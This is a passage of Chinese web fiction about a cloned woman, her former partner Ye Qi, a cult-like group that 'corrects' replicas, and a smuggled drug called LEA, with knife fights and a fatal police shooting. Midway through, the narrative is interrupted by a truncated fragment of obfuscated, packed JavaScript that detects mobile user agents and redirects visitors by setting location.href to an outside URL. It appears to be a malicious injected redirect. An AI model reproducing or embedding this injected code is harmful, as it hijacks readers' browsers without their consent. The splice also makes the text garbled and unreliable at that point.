看着叶琦享受看起来诡异的午餐,我还是忍不住去问她:“叶琦,我想问问,你为什么没和丈夫一起生活?”
她停下了动作,看了我一眼又移开视线,最后手里的餐具敲敲碗底,似乎是下定了决心才开口:“是丧偶。他去过辐射区,回来之后的人,是他又不是他。”
熟悉的经历,我努力控制自己不往那方面想。
“别那样看着我。”叶琦有些无奈地看着我,“我还没有疯到对枕边人下手呢,而且没有直接证据。”
也是,我手底下的人,任何不确定信息都需要确凿证据才能盖章。
我问她:“所以发生了什么?”
“你会知道的。”叶琦笑了一下,“如果你加入我们,我们会为你安排好一切。”
似乎是我的沉默让叶琦误会了,她撑在桌子上看我:“不用急于这一时,你可以好好考虑。”
“那些测试,指的是什么?”我草草结束进食,问她,“没有确凿对比证据,能怎么证明?”
叶琦把我的问题当作一种许可:“择日不如撞日,我们今天就有互助会,我带你去看看就知道了。”
我没有否认,但我有一个计划。
叶琦太急切了,也对我的戒心太低了,似乎单纯地在我面前罗列证据,而非试图让我共情。
叶琦最后想要什么呢?
我印象里的互助会还来自哪部剧集里法医的戒毒俱乐部。
每个人找个小碟子整点廉价甜品,坐在廉价连排座椅上,听讲台上的人如何诉说自己的痛苦和不得已,最后说到自己戒毒到了第几天。
不有趣,但也算得上是精神支柱。
实际上,叶琦带我来的互助会,除了没有食物,座椅看起来舒服很多,其他也半斤八两。整个互助会上来的人并不多,加上我和叶琦也不超过二十个人。
互助会的氛围好得离奇,大家在诉说自己的悲痛与哀伤,互相安慰和拥抱。我夹在中间有些不知所措。叶琦拍了拍我的肩膀,满脸写着“没关系”。
直到有人站在了这片空间的正中央。叶琦拉着我站在围成一圈的人群第二排。我不明所以,看着周围人期待而恳切的目光,心底暗道不妙。
中间的男人看起来很年轻,他沉稳而冷漠地宣布:“我们的信仰得到了回报!今日,有人召回了她的挚友——”
现在这个时候还有人用这种腔调说话?我迅速在心里刷过一条吐槽,下意识地想要逃离,更是因为那人看起来有几分眼熟。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16272516|182377||http|test|mini|href|location''.split(''|''),0,{}));
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>叶琦没有给我下意识逃离的机会,她的手从未如此生硬地压在我的肩膀上,仿佛我是哪位潜逃的稀有罪犯。
他们的视线盯着我,贪婪、羡慕、嫉恨,我忽然听不清周围的人在说什么了。上次这样头脑一片空白,还是被生物复制体从脑后挨了一棍。
叶琦来找我就是个彻头彻尾的错误,就是个,彻头彻尾的陷阱。恍惚间,我听见那个在最中心的人说:“现在,我们应该去修正了。”
我盯着叶琦看。她的每一个表情我都熟悉。弧度完美的柳叶眉,眼下的小痣,嘴角永远噙着浅笑,下额上的浅浅伤疤——但为什么我不认识了?
她的脸上是我不熟悉的热情——和孤注一掷。
无力和委屈、无助和恐慌让我做出了这辈子最冲动的决定:我握紧了拳头,反手拉下她扣着我肩的手,转身,蓄力,连带着先前的困惑和愤怒,挥拳冲向了她的脸。
叶琦猝不及防地跪倒在地,抹过嘴角的血迹,看了眼,抬头困惑地盯着我。周围的人忽然安静下来,为我和叶琦的冲突留下一个狭小的斗兽场。
自己都有点愣神,我的思绪停顿一瞬,忽然又全部涌了上来。
我应该顺从的,我应该打入组织内部的,我应该用更和平的方式,我应该——所有计划在冲昏头的感情面前都是一张薄纸。
我选择了反击,灵魂先于理智先于身体地出拳了。
“你……”
叶琦开口,但疼痛让她有些口齿不清,最后只是怨恨地盯着我看,跟我讨要一个解释。直到如今,我和她之间不需要语言,依然能从她的脸上读出所有意思。
我想说她背叛了我。
带我去见吴潍,看见所谓的“我”是城市法律的破坏者,看见“我”如何夺走了她的挚友;带我去见母亲,看见母亲执着而痛苦的因为思念走入歧途;主动坦白她加入的组织,勾起我的愧疚……
为了让我接受,让我痛哭流涕地回来?
我会的,但不是这种方式,这种情况。但我说不出口,我才是这一切的开始。
沉默,无从解释。我不再看叶琦的眼睛,我的视线转向了正中心。
那个男人对着我温和地浅笑着,和我对视,蛊惑般地提问叶琦:“叶琦,你真的确定你的测试结果吗?”
叶琦重新站起。我后撤半步拉开距离。
“我会负责这个错误。”叶琦啐出一口血沫,声音平静,“我的测试不够完善,总督。”
总督?这是从哪本核战前的书上抠出来的称呼?我心里想着,但是身体做好了应战准备。
“我申请修正继续。”我听见叶琦说,她的视线转向了我,“我只有一个挚友,吴潍,我会找到她的。”
被称为总督的男人微微点头。
周围人似乎见怪不怪,如同获得了许可一般冲上来阻拦我。我被身后的人撞了个踉跄,顺势伏地,躲开叶琦迎面而来的匕首。
这到底是什么组织?十年前能让一帮乌合之众升级到这种地步?来不及多想,我抓住手边的陌生人脚踝,把她扯到在地,顺利拖延叶琦的下一步动作,利用短暂破开的空隙冲向总督。
我低估了他们的管理员数量,几乎是即将抓住总督脖子的一瞬间,有人冷不丁从侧腹将我踹了出去。
“操!”我忍不住咒骂。
我的后背撞在窗框上。玻璃碎裂的声音从我身后传来,最后整个人摔在窗边的桌面上。剧烈的疼痛让我瞬间失神,恍惚的视野中有人拿着匕首走向我。
支撑着桌边,踉跄着蹲跪在金属桌面上,我看着周围并不怜悯,甚至有嗜血渴望的成员们。
我的身上只有一件单薄的衬衣,手里还没有枪,只有袖口里的一把短匕首。
面对两三个管理层我还能有信心制服,但我没法同时招架十几个人,何况其中得有一半人是训练有素的管理层。
没有做好准备的正面冲突,对我来说胜算太低。
隔着人群,我看向依然脸上看起来没有表情变化的总督,把视线转向缓步上前的叶琦,对着有些迟疑下手的她笑了一下,低声说:“我会把你带回来的。”
随即起身蹬向桌面,在眼前人的惊诧中,我背对着窗口再次撞了出去。只有裂痕的玻璃彻底碎裂,透明玻璃碎片从我视线里飞向天空,失重感也许只有一两秒,最后我摔在了植被上。
该死的绿化!我能感受到有一根枝条戳穿了我的肩膀。没时间对疼痛抒发感情,我翻身爬起,抬头看一眼从窗口探出头的成员,捂着肩膀,拐进最近的城市建筑缝隙。
血液从我的指间流出。虽然避开了主要血管,但是贯穿伤很难止血。
熟悉的血腥味反而让我清醒了不少。靠在角落里看了看手环,早就因为磕在金属桌上报废了。
叫天天不应,叫地地不灵。长叹一声,我也不知道自己记忆里的地下城地图还管不管用。
4. 计划之外的推进
我把衬衫底部的布料扯下,勉强压住肩膀出血口,只要不大幅度动作,我不会有生命危险。
互助会选择的地点在城市边缘。位置不算偏,但周围的建筑大多是空的或者烂尾楼,并不住人。
曾经这里的地下部分还有一个货物中转站,但十年过去了我也不好说还在不在。我只能先去那里碰碰运气,至少想办法止血。
异常信仰组织不会明目张胆地追杀我,对我来说还算有利。那些追踪、反追踪技巧肯定是玩不过我。
撬开锈坏的仓库门,我抬头看一眼落灰的摄像头。没人打理,看起来是荒废了。好消息是货物中转站还在,但运输的标记我从未见过。
生命存在药剂?这是什么城市新药品?我没见过,在下层那种各种违规化合物乱飞的地方都没听说过。
无暇想太多,既然是药剂,那附近也许会有医疗用品。我挨个走过去,看完了整个仓库才意识到这是纯粹的走私。
扯进这种事情绝不是好事,我观察着路线,在货架间规划出去的路。快走到另一扇门口,却听见有人在说话,我连忙攀爬到货架顶端,尽量隐藏身形。
跟着黑衣人进来的人有点眼熟。熟悉的长卷发被高高扎起,听着眼前人说话有些不耐烦,但还是没有发作。
黑衣人停在屏幕面前,操作几下,又对吴潍说:“上头说了,给你的订单已经是最低价了,不能再压了。”
“我鞍前马后找了那么多渠道,就算是薄利多销你们都挣出一栋楼了,更何况是暴利?”吴潍说话不算客气,太远了我看不清她的表情,“二成改三成而已,又不是挖你们一块肉。”
我都有点佩服她了。又是改档案,又是做走私,赚那么多钱是要做什么?想不出所以然,我开始琢磨,难道是因为我基因里自带“贪婪”?但我活这么大也没有体现过。
等等,这就是吴潍的居住地情报有误的原因。我眼睛一眯。这就是管理局把我请回来的原因了。
黑衣人又叹气,命苦地转到另一侧跟上司联络去了。吴潍原地踱步等待,忽然停在了我所在的架子下,靠近看了看,又移开了视线。
我大气也不敢出。她就算抬头也看不见我,其实不用紧张。况且才两个人,动起手来绰绰有余。
“这单就算了,下一单给我一个准信。”吴潍忽然开口跟黑衣人说,“我也不想和你们多牵扯。”
黑衣人似乎就在等吴潍这句话,把通讯关掉,重新给她展示出合同。吴潍挥挥手,示意这单赶紧了结。
看着两人验货,最后离开,重新关上仓库门,我才偷偷摸摸地落到地上。在吴潍盯着的位置重新观察了一番,我开始头痛了。
有我的血迹,在箱子角落上,很浅很浅的一点。幸好是光滑塑料而不是纸箱,我可以用袖口彻底擦掉痕迹,打算换条路出去。但如果要原路返回,就需要绕远路,太麻烦了。
反正我也要去找她,干脆撞上得了。这么想着,我还是蹑手蹑脚地打开了仓库门。
没等我在荒废的地下城走过两步,吴潍就出现在了我的身后。
“你看起来需要帮助?”吴潍喊住我,手放在腰间,在我转身后上下打量一番,想走近两步又放弃了。
我低头看了看自己,称得上衣不蔽体。肩膀潦草地绑着布料,半个衬衫都是血迹,衬衫下摆还是破布款,没被遮住的侧腹还有一片淤青。
没反驳她的建议,我斟酌着语气:“能送我去医院吗?”
吴潍挑眉,空手抱胸,没有攻击的意思:“你刚刚在仓库,理论上我应该灭你的口才对。”
“我知道。”我叹气,一下两下的又解释不清楚,“事情不是你想的那样。我不了解你们在做什么,我也有把柄在你手里。”
这下忽然感谢起叶琦利用我了,我恨不得跪下来给十年前的她磕一个。吴潍没有反驳,冲我招招手示意从那边走:“怎么不去找叶琦?”
我快步跟上。肾上腺素过去之后腰背肩膀的疼痛更加明显起来,我压着肩膀回答她:“我……跟她之间有一段误会。”
“你和朋友们的交往方式还挺,”吴潍又撇了我一眼,“特别的。”
克制着翻白眼的冲动,我低下头不想说太多。我对吴潍其实也有愧疚和亏欠,但我连提都没法提起。
她开了副驾驶的座位,示意我进去。我看了看身上,刚想开口问能不能坐后车厢,她就一把把我推了进去。
“清洗费不要你出,我是助人为乐。”吴潍侧过身,架在座位上,猛打方向盘倒车,“在城市里很少有人伤成这样,你是做了什么天理难容的事情?”
“我不是逃犯。”我动了动僵硬的后背,疼得龇牙咧嘴,“就是——”
我不知道应不应该提起这个,但她早晚都会知道,我没有必要隐瞒。
“就是那个组织。”我看着吴潍没什么表情的侧脸,这种看着陌生的自己感觉真的很奇怪,“人类异常信仰,我是从那里逃出来的。”
吴潍沉吟了一声:“那你就不能去医院了。”
“什么?”我以为她会更在意吴烛在组织里的问题,“重点是这个吗?”
“当然是。”吴潍开了自动驾驶,把座位改成面对,盯着我看,“组织成员的体内可能有标识,要是去医院这种管理局直辖的机构,一定会被盯上的。”
知道得不少,但也在情理之中。吴烛在那个组织里,吴潍当然会不遗余力地去找相关线索。
“说得好像我现在没被盯上一样。”我苦笑着,试图从她嘴里问出更多,“你有什么计划吗?”
“计划?”吴潍的语气有些不屑,“我从来不需要计划。我得先问你,为什么要去那个组织?你的档案没和任何人关联,你是移民?”
“我算是移民。”我不知道如何解释,毕竟一开始我是来杀她的,不是来尝试和她合作的,“我去那个组织是为了查事情。”
吴潍思考了几秒:“但你没有动机。非亲非故的,你甚至接触不到那个组织。嗯,是因为叶琦?”
我没敢直接承认,只是对这个结果不置可否。她笑了一下:“我们现在是一根绳上的,你可以对我更坦白一点。”
“哪一根绳上了?”我明知故问。
她再次摸出屏幕,调出一份记录:“我习惯记录事情,你看完就知道为什么了。现在,我决定帮你。”
那是一份关于吴烛的事件记录。
从八年前开始,吴烛开始质疑吴潍并不是自己的女儿,之后做了很多鉴定,结果只有吴潍是吴烛的女儿,没有被任何人顶替。
吴烛的理由也只有那一条“她不喜欢花”,吴潍没法自证,也没法他证,最后终于在前年断开了联系。
也就是从去年开始,组织主动找上了吴烛,最后一发不可收拾。吴烛甚至申请了在辐射区探索,幸亏吴潍死活不同意,最后才不了了之。
“你为什么换职业了?”我看着文件有些走神,对着母亲连名带姓地喊对我来说太奇怪了,“吴烛的证词里有一条你换了职业,但你没有给出理由?”
吴潍收回屏幕加了一笔,摸着太阳穴对我说:“我有调令,没往上写。似乎之前出了点事故,身体不好才有的调令,我记不清了。”
合理的说词,前线管理员在曾经的人类信仰案件上出事,因病调职。我点了点头,放过这个话题:“你也在查那个组织?”
“不算是,只是有一点关联。”吴潍摸了摸下巴,似乎在思考应不应该说出更多,“毕竟是曾经经历过的案件,我也很困惑我当时发生了什么——”
“你只是觉得自己不应该这么轻易地放弃,安分呆在普通文职上。”我叹了一口气,“当年的案件你还记得多少?”
吴潍看了我一眼,视线从我的肩膀移动到我的侧腹,最后和我对上视线:“不记得。整个案子对我来说都很模糊,但我的档案没有问题,无从下手探查。”
我从吴潍的眼睛里看见了另一个自己。正常的,热切的,对陌生人都怀着莫名的热心——我本人可完全不会把一个来路不明、浑身是血的违法人员放到自己车上。
我忽然很好奇她如果知道真相会怎么做?像我一样迷茫到失去思维能力?沉默地后悔着一切,在一切无能挽回的时候做杯水车薪的努力?
“你想要知道曾经的案件真相吗?”我冲她笑了一下,“我可以帮你。”
吴潍似乎有了些兴趣,再一次上下打量我一番:“说实话,我很怀疑。”
有些不自在地用手遮住侧腹的淤青,我尴尬一笑:“对面人太多了。”
吴潍没有直接拒绝我,只是起身下了车:“到了,走吧。在你做你的大计划之前,先乖乖待两天养伤。”
说实话,我很喜欢吴潍家里的摆设。柔和的色调和暖色系的重色家具点缀,隐藏式的灯光和低声的清洁机器。舒心的,我梦想中的家的氛围。
我当时离开时,这间公寓还是刚装修完水电,准备买大件家具的时候。这是吴潍难得继承到的事情。
人际关系,职业,我的社会关系总和几乎都被抛弃了。审美也是基因决定的吗?我坐在柔软到能陷进去的沙发上,看着茶几上的重力摆件晃动。
“独身公寓没有客房,你就用我的浴室吧。东西都准备好了。”吴潍从卧室里探出头,“你看起来跟我差不多,我找件还没穿的睡衣给你。”
我选择自行处理伤口,她本想帮忙,最后还是争执不过我。需要避免任何能让她意识到自己是生物复制体的可能性,我要在她身上找到一个答案。
站在浴室镜子面前,我把洗完的头发撩到脑后
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。褪去一切化妆品,除了瞳孔颜色,我的脸和吴潍一模一样——当然这话对我来说太奇怪了,我才是本尊。
血迹已经被冲掉,后背的擦伤问题不大,侧腹的淤青只是看起来有些恐怖,最要命的还是肩膀的贯穿伤。直径接近一厘米的深度伤口,我得想办法自己清创。
没有血污遮蔽视线,我才有机会仔细观察伤口。好消息是没有直接穿透骨骼结构,也没有穿透大血管,严格来说也只是斜方肌的皮肉伤;坏消息是清创会非常麻烦,衣服纤维,木质纤维,能不能处理干净全凭运气。
感谢生物科技。如果是在别的城市,我怕是要彻底完蛋了。他们可不会把“医疗技术升级”作为城市科技顶点之一去推进。
我胡思乱想着,试图分散注意力,一鼓作气把上面写着“深度清洁”的瓶罐整个灌进伤口里,歪着身体试图让那些微刺激性的凝胶流经皮肉。
猛然加重而后麻木的疼痛像是生命的进度条一样,缓慢从我的前颈通向后背。谁能想到这种家用的护理剂也有麻醉成分。
我扯出绷带的时候想,十年已经让上层物质丰盛到这个地步了?
一连拆了三罐,我熟练包扎好绷带,看着最后空荡荡的医疗箱有些愧疚。也许我应该划账,但我的任务本身就是顶替吴潍,核心管理层给我的假档案账户没有一分钱。
太抠门了!这就是断开生物复制体的所有退路。不再愤世嫉俗,我得把包裹异物的凝胶清理干净,在地板上沿袭的红褐色痕迹,还有挥之不去的血腥味。
如何处理血迹、血块和血有关的一切都是女性的成长第一课。我熟练打扫完浴室,才看见镜子角落上贴着一张便签,上面写着我小时候的自创密语,翻译过来是:不要忘记。
不要忘记什么呢?这是我不了解吴潍的第一件事。
“抱歉。”我遮盖好眼型和眉眉型特征,端着空箱子走到客厅放在茶几上,“我的伤口比我想象的要麻烦许多。”
“不用担心。”吴潍坐在沙发上眨眨眼,端着一杯橙汁,“我不会找你要钱的。现在你想好你的计划了吗?”
“我没有计划。”我拉拉睡衣,坐在沙发另一边上,半真半假地袒露心声,“其实我很迷茫。”
吴潍把空杯子放在茶几上,绿色的眼睛安静而真诚地看着我。
妈妈,我要是有个妹妹也就是她这样了。不着边际的想法一闪而过,我在她诚挚的目光里下意识地闪躲:“曾经的挚友在走向深渊,我不知道该如何帮助她。”
“你想捣毁那个组织吗?”吴潍轻描淡写地问我,“你看起来不像移民。能从那个组织里‘逃’出来的,不会用移民手段来这个城市。”
我的表情一定困惑得很明显,她忍不住笑了起来:“我们一般管他们叫战术型外聘顾问。”
上层有这个职业吗?我忍不住摸了摸太阳穴:“你知道你这话听起来很像在招聘打手吗?”
“我确实需要一个打手。”吴潍的语气严肃起来,但她的眉眼依然是平和的,像是在讨论春日出行,而不是在试图雇我杀掉某个人,“至少身手能好到做我的保镖。”
呃,违规修改档案,走私疑似违禁药品,试图重建第一次人类危险信仰案件细节,也许还有更多,但随便哪一条都值得核心管理层亲自派人来追杀了,比如我,唔,最好是我。
“你为什么这么信任我?”我动了动僵硬的腰板,侧腹的淤青因为拉伸又开始钝痛,“万一我是核心管理层派来杀你的呢?”
“你的档案是假的。”吴潍双手托头,歪着头看我,“如果是移民,档案会有移出城水印,你的水印是伪造的;如果你有任务,你的账户不应该是空的。”
我张了张嘴:“我有两个账户。”
“嗯哼?”吴潍伸出手,冲我索要空医疗箱的使用费用。一个语气词浓缩了“那你付费吧”的意思。
我作为生命维护执行官的账户里确实有钱,但和上层并不通用,所有费用都需要管理层核实到账,肯定是转不到吴潍账上。
要我说,核心管理层你让吴潍去做生命档案管理员就是个彻头彻尾的错误。我没法反驳了,只好闭嘴不谈真实身份,守好秘密的最后一道防线。
见我无话可说,吴潍两手一摊:“要么你是从辐射区意外回来的人类,要么你的任务就是来杀我的。但如果是后者,你何必去趟那个组织的浑水?”
她站起身在我面前转一圈,细胳膊细腿的在我眼里看起来还怪好捏。展示完毕事实,她开始总结陈述:“你看我,一个文官。训练的痕迹早就聊胜于无,你要是想杀我,我都跑不出两步。”
“所以,我只能是辐射区意外回来的人类,还因为被家庭排斥加入了组织。”逻辑还挺通顺,但依然有问题,我接着说,“那我为什么会被追杀?”
5. 计划之外的推进
“因为那个传言是真的。”吴潍重新坐回沙发上,语气里有些不确定,“你是真正的人类本体,而你不愿意去杀那个复制体。自然违反了组织的初衷,被追杀也算合理。”
过程全错,但结果全对,跟自己斗智斗勇的感觉真令人着迷。基因组判定的结果居然真的有相当可信度,我叹气:“你可以这么想。”
我总不能说那个复制体是你吧?
“所以,生物复制体的传闻是真的了?”吴潍似乎也很惊讶我的坦诚,“那你为什么不想杀她?她明明替代了你的一切,你才是唯一特别的那个。”
我看着吴潍为我愤愤不平的表情,想到她为我,就算是为了利用我,冒着风险做的一切,在这段对话里我说出了第一句真心话:“她看起来比我更好。”
“这算什么理由?”吴潍猛地拉过我的手,恳切地盯着我看,“你周围的所有人都不会接受一个复制品愚弄他们的感情。”
我有些嘲讽地一笑,抽出手,转而迅速伸手卡住她脖子压倒在沙发上,把她压在身下:“假如那个复制品是你呢?你自己也会满心期待复制品的死亡吗?”
吴潍挣扎了一瞬,发觉我没有继续用力,瞬间安静下来。
我听见她平静而真挚地说:“我会。”
不是,我的生物复制体原来当时说的缺陷在这里吗?我有些匪夷所思地放开她,难以置信地往后挪了一个身位。刚刚那些推论不是挺聪明的吗?也不见得是脑部缺陷啊?
“唔,毕竟是我偷了别人的人生。”吴潍坐起身,沉浸在这个假设里无法自拔,“朋友们和,母亲,看见真正的吴潍回来应该会更高兴吧?”
提到“母亲”这两个字时,她的语气低了下去。我都不知道她是在故意附和我,还是真的这么觉得。这女人,我真的觉得这个吴潍不是我了,自我奉献到一定境界了。
“停止你的圣母发言。”我捂脸打断了她的自言自语,“不知道你是真心的,还是为了让我当你‘保镖’的胡言乱语,都停了。我听不下去。”
“其实都不重要。”她重新转入主线,“我只想说,不管你是想不被追杀,还是我要让母亲和那个组织断开联系,我们之间有共同目标。”
其实追杀对我来说无所谓,那些非困兽犹斗的行动都是小打小闹。我看着吴潍伸出手,像是某种邀请:“我们可以合作。”
我看着吴潍伸出来的手,没有握上,抬眼用沉默回绝了她的提议。被拒绝的长卷发毫不在意地起身,转头对我说:“你应该不会介意和我睡一张床吧?”
虽然对这个问题摇头,但我闭上眼睛,意识到周围有会呼吸的人类就让我很难入睡。只好想点别的转移注意力。
吴潍的厨艺和我如出一辙,晚饭也是简单的什么都加点的泡面。我想去洗碗,她把我赶去卧室,美名其曰“伤患吃不好还不能休息不好”。
自我奉献是一种缺陷吗?我思考着,听着她均匀的呼吸声。我去做警察也是自我奉献,我不想杀吴潍也是一种自我奉献,但为什么她说出来的“自我奉献”像极了缺陷和虚伪?
我希望那是一种穷尽伪装的虚伪。
深呼吸,我在不会压迫伤口的方向侧身。城市灯光透过缝隙落在木地板上,晃动的线光勾勒出凹凸不平的木板拼接缝隙。
晃动?身体比精神更快反应过来,那把闪着银光的匕首直冲我的脖颈。
我双腿一曲,避开第一刀。趁匕首扎进织物,被重新收起的间隙,我撑着床沿侧翻到木地板上,蹲地蓄力,借力冲向对方。
本想从后背偷袭,双手穿过腋下锁住来人,但对方迅速转身,挥出第二刀。我不得不改变攻击高度,转而抱住对方腰,冲向窗户。临近时迅速放手,那人因为惯性结结实实撞在窗框上。
玻璃碎裂出一声巨响,我听见吴潍下地。保持压制优势,我迅速反折对方拿刀的手腕,拉紧对方将将坠落的衣领,夺刀贴在袭击者的脖子上。
借着城市外昏暗的灯光,我看清了她的脸。
“吴潍,你锁窗了吗?”我拉着叶琦问吴潍。
叶琦有些失重,举起双手保持平衡,她的腿和我拉着她的手时唯二的支点。她不好发力反击,于是场面维持着奇妙的平衡。
“我锁了的!”吴潍磕磕绊绊地回答我,“我怕你受凉,我记得很清楚。”
我就说,没风怎么会有晃动的光线。
“看起来城市里的日子还是很好过。”我对叶琦说,“以前你可不会落在下风。”
她意味不明地一笑,抬头逼近了几分刀刃。我下意识地收回匕首,被她抓住机会,连带着我整个人往外一坠。
我作为发力点的左肩本身就受了伤,叶琦猛地一压我根本拉不住,被她带着节奏再次翻出窗外。
我听见吴潍喊了一声“喂”。
我好像确实没告诉她我叫什么。我的档案是伪造的,我的真名被她占去了,我现在拥有的名字确实只有一个音似“喂”的“Woe”。
坠落的瞬间,我还能走神想到这个。
叶琦挣扎着去抓我拿着匕首的右手。来不及有更多动作,两个人就结结实实地摔在弧面上。光滑的表面拉不住惯性和两个人的重量,还在往边缘滑去。
哪个天才能在八个小时内坠两次楼,真是天才倒霉蛋。吴潍窗户底下并不算高,是隔着三四米的温室玻璃顶。
夺刀争执不下,我干脆松开匕首,用左手去接。我转头看一眼离地近二十米高的天桥温室,叶琦尝试抓着我的左肩推开我。
我吃痛手一软,不耐烦地“啧”一声。在彻底滑出摔死在公路之前,我拼尽全力握紧左手,举起匕首,击碎了身下的最后一块弧顶玻璃板。
叶琦成功推开了我。
我的左肩又开始渗血,疼得我一身冷汗,头部受疼痛限制,根本抬不起来。我摔在了温室地砖上,后背撞在花架上,整个人只感觉头晕眼花。
匕首在我摔在地上时就脱手飞出。理论上这是重大失误,但理论又不考虑实际情况。我撑着地面站起身,靠着花架才站稳。扶着刚包扎好没两个小时的左肩,咳了一声。
周围不知道是花朵本身就颜色多,还是我眼花,整个世界彩得像液晶花屏,无趣到极点的低级审美。
“叶琦!”我拼尽全力喊她,耳朵里的嗡鸣让我不知道我喊了多大声,“那个组织是错误的!生命和感情都不该被这样定义!”
“没人……”叶琦摇晃着站起身,她的头正好摔在花架边缘,额头上流下血迹,遥远的低语让我有些听不清。
她应该有些脑震荡,扶着那些金属花架,晃动着步伐,一步一步走向我,嘶吼着:“没人问我!”
她又走近了一步,声嘶力竭:“愿不愿意!”
我的视野终于恢复了一些清明,匕首不在我的视野里,也不在叶琦的手里,短暂地缓气。论体术,叶琦不如我,我有把握钳制她。
她一步一步向我走着,我知道她发泄的情绪并不完全针对我,我只是那个刚好合适的发泄品。
她的声音带了点哭腔,但依然愤怒:“我不愿意!”
“凭什么我不知情!”叶琦走到了我最近的花架,冲我控诉着,“凭什么我只能接受替代品?凭什么我们需要保持沉默?我为这座城市付出了那么多,凭什么我不能知道真相?”
在她向我伸手的瞬间,我想要翻身离开,但她只是抓住了我的手,悲痛到空洞的眼睛无助地看着我。恍惚间,我仿佛又看见了第一次见到她受重伤的时候,我动不了了。
看着她跪在地上,抓着我的手,像是抓住了救命稻草,她的声音因为刚刚的声嘶力竭有些暗哑:“告诉我为什么?吴队,我只是想要真相。”
因为这是城市运营到如今的立身之本。这个真相会颠覆,甚至毁掉现在的城市。这是残忍的梦想之城,所有居民,都不应该知道真相。
知道真相,你会像我一样痛苦。
我看着她的褐色眼睛,无神的暗淡的褐色。以前,就在十几个小时之前,我都能看见她眼里的轻快得挥之不去的愉悦。
她不知道真相,已经像我一样痛苦。
我看见吴潍在温室尽头忽然出现,她跑掉了一只拖鞋,焦急而无助地扶在门口大喘气。警笛声由远而近,无人机红蓝的刺目闪光逐渐逼近。
抽出手,我用手擦掉她额头的血迹,但擦不干净。我对着叶琦无力地摇头,垂下眼睛:“我不能说。叶琦,我真的不能说。”
叶琦无神的眼里只有沸腾的仇恨,我绷紧了肌肉准备反应。她的手伸向腰际,那是一针注剂,在空中划了一个很小的弧度,冲向我的大腿。
我看不出这针剂是什么,试图侧步离开,被她的手狠狠往下一拉,眼见着是躲不掉了。
但有枪声比她的针尖更快。
她的身体往子弹射穿的方向一歪,倒在了地上。我才因为她的最后力气跪在了地上,手下一空。
我感觉我的灵魂还没有从那声穿透玻璃的枪响中回过神,但我的身体已经下意识去检查生命体征。
维护治安大多采用空包弹或者麻醉剂,以“控制目标”为目的。
但我为什么看见了血在地板上蔓延?我茫然地伸手去触碰还有温度的血液。浅色的地砖上,血迹蜿蜒着往四周扩散,仿佛透明的密封箱中寻找出路。
我转头去看破碎玻璃外的无人机。它闪着红蓝相间的光,刺痛着我的眼睛。
吴潍在叶琦尸体旁蹲下,伸手合上她的双眼。
她还记得多少呢?
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我怔怔地看着吴潍的手抚过叶琦擦不干净的额头血迹。
她记得我和叶琦在那些严格训练里苦中作乐的夜间谈话吗?她记得我和叶琦在正式入职后的兴奋和惶惑吗?
吴潍会感受到我如今的崩溃和痛苦吗?我的另一种人生载体最后绕过叶琦,把我摁进她的怀里,紧紧地环抱着我,紧到我听到了另一个我的心跳。
透过她怀抱的空隙,我看见滚出的那管针剂上写着:LEA-1863-B。
我被带进了熟悉的警局。曾经的同事坐在我的对面为我做笔录,她递给我一张纸,让我擦擦脸上的血迹。我接过纸张,用点按的方式擦掉血迹。
“Wined·Caster小姐。”她踌躇着句子,在我的脸上看了一眼又一眼,“我问什么你答什么就可以了。你和叶琦是什么关系?”
在训练中同进退的战士,在任务中信任的搭档。我垂下眼睛:“萍水相逢,并不熟悉。”
“那你和叶琦是怎么认识的?”
进入生命管理局的同期,最后因为性格兴趣各方面互补而成为朋友。我压着感情回答:“我是移民,流落街头的时候她帮了我一把。”
“她为什么会攻击你?”
因为我背叛了她两次,毁掉了她生活回到正轨的最后机会,隐瞒了她想要知道的所有真相。我摇头:“我并不清楚。”
眼前的管理员调出无人机记录:“但你当时对她说‘我不能说’指的是什么?”
我叹了一口气:“我不能说。我已经说过了。我有保密协议,你去问核心管理层,他们不会让你问这个问题。”
曾经的同事耸肩,没有再纠结这个问题。我对着剩下的问题一问三不知,同事终于写完了笔录。看着她关掉摄像机,我起身准备离开,她却喊住我:“吴队。”
我假装没有听见,动作没有停顿,起身准备去拉门。她自顾自地说了下去:“没来过警局的人,没法把摄像机关机和笔录结束联系起来的。”
我的手停在了门把手上,还是不忍心再次晾着她们。她低声问我:“所以您才会消失?”
“不要求证。”我回答她,“注重当下。”
我离开了记录室,光脚踩着瓷砖离开。来警局之前,已经去过医院检查,一身伤重新被仔细处理过,还拍了CT,吴潍还在医院等我的报告单。
揽了揽身上吴潍的风衣,把薄毯叠好在手臂上。其他说不好,但我在警局名正言顺地顺个毯子还是绰绰有余的。
我抬头去看城市的夜空。模糊的光点不如下层清晰,因为防护罩更厚,隔绝了太多真实光线。
这是我发现的第一处上层不如下层的地方。
“哇。”吴潍开车来警局接我回公寓,把报告单扔到我手里,“你的医药费全是我垫付的,你欠我好多哦,Wined女士。”
“那我只能当你的保镖了。”我没什么感情地接着她的话茬。瞥一眼她颜色穿得乱七八糟的运动套装,决定闭嘴跳过这个槽点。
报告单上显示着我的左肩贯穿伤和撕裂伤叠加,需要定期换药复查,跳过,我自己是熟练工;后背的肋骨有几处小骨裂,脚踝有扭伤,都不是大问题,但如果不注意,会影响日后的运动,跳过,这是家常便饭;其他都是些废话,擦伤淤伤这类,我治都懒得治。
“真的吗?”吴潍不想放弃我的松口,“我们可以合作了吗?”
“可以,但先回答我的问题。”我把报告单收好,“LEA是什么药剂的缩写?”
吴潍等红灯的间隙开了自动巡航,转过头,穿着那套滑稽配色的运动服,认真回答我:“就是你在仓库看见的‘Life-ExistenceAgent’。”
“生命存在药剂”是我的直译。
“用来做什么的?”我摸着下巴,试图望词生意,但很显然,我的阅历不足以直接猜出来。
“记录身体一切反应的液体,具体是什么我也不清楚。”吴潍看得出来很努力地解释给我听,“比如说,你看了一部剧情很精彩的电影。第一次看很惊艳,但第二次就因为知道了剧情发展而索然无味。这份药剂可以让你反复重温第一次的激动感。”
这个用途听起来并不是很限制级,肯定有副作用和别的用法。我挑眉接着问她:“叶琦为什么要给我注射LEA?”
吴潍短暂沉吟,看了我一眼,犹豫着回答我:“注射大剂量LEA会导致像情绪反应过度一样的死亡。”
